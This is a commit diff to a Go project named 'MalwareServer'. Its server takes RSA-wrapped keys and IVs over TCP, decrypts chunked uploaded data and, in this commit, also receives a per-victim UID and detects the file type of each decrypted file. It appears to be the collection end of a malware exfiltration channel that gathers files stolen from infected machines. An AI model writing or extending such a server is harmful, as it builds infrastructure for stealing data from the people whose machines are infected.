Make server get filetype and identify file

go.mod

@@ -1,3 +1,5 @@
 module MalwareServer
 
 go 1.22.2
+
+require github.com/liamg/magic v0.0.1 // indirect

rsaserver.go

@@ -13,6 +13,7 @@ import (
     "io/ioutil"
 	"log"
 	"net"
+	"github.com/liamg/magic"
 )
 
 func main() {
@@ -65,6 +66,10 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
     iv, _ := decryptKeyIV(ivData,privateKey)
     conn.Write([]byte("Received IV\n"))
 
+    uidData, _ := bufio.NewReader(conn).ReadString('\n')
+    uid, _ := decryptKeyIV(uidData,privateKey)
+    conn.Write([]byte("Received UID\n"))
+
     var ciphertext []byte
     var chunk string
     var plaintext []byte
@@ -91,7 +96,7 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
         conn.Write([]byte("Received and decrypted chunk\n"))
     }
 
-    fmt.Println("Decrypted text:", string(plaintext))
+    handleDecrypted(plaintext, uid)
     conn.Write([]byte("Ready for next operation\n"))
 }
 
@@ -171,4 +176,19 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
     }
     decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
     return decodedKey, err
-}
+}
+
+func handleDecrypted(decryptedDataB []byte, uidB []byte){
+	data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
+	fileType, err := magic.Lookup(data)
+    	if err != nil {
+        	if err == magic.ErrUnknown {
+	            	fmt.Println("File type is unknown")
+        	}else{
+        	    	panic(err)
+        	}
+    	}
+	fmt.Printf("UID:		   %s\n", string(uidB))	
+    	fmt.Printf("File extension:        %s\n", fileType.Extension)
+    	fmt.Printf("File type description: %s\n", fileType.Description)
+}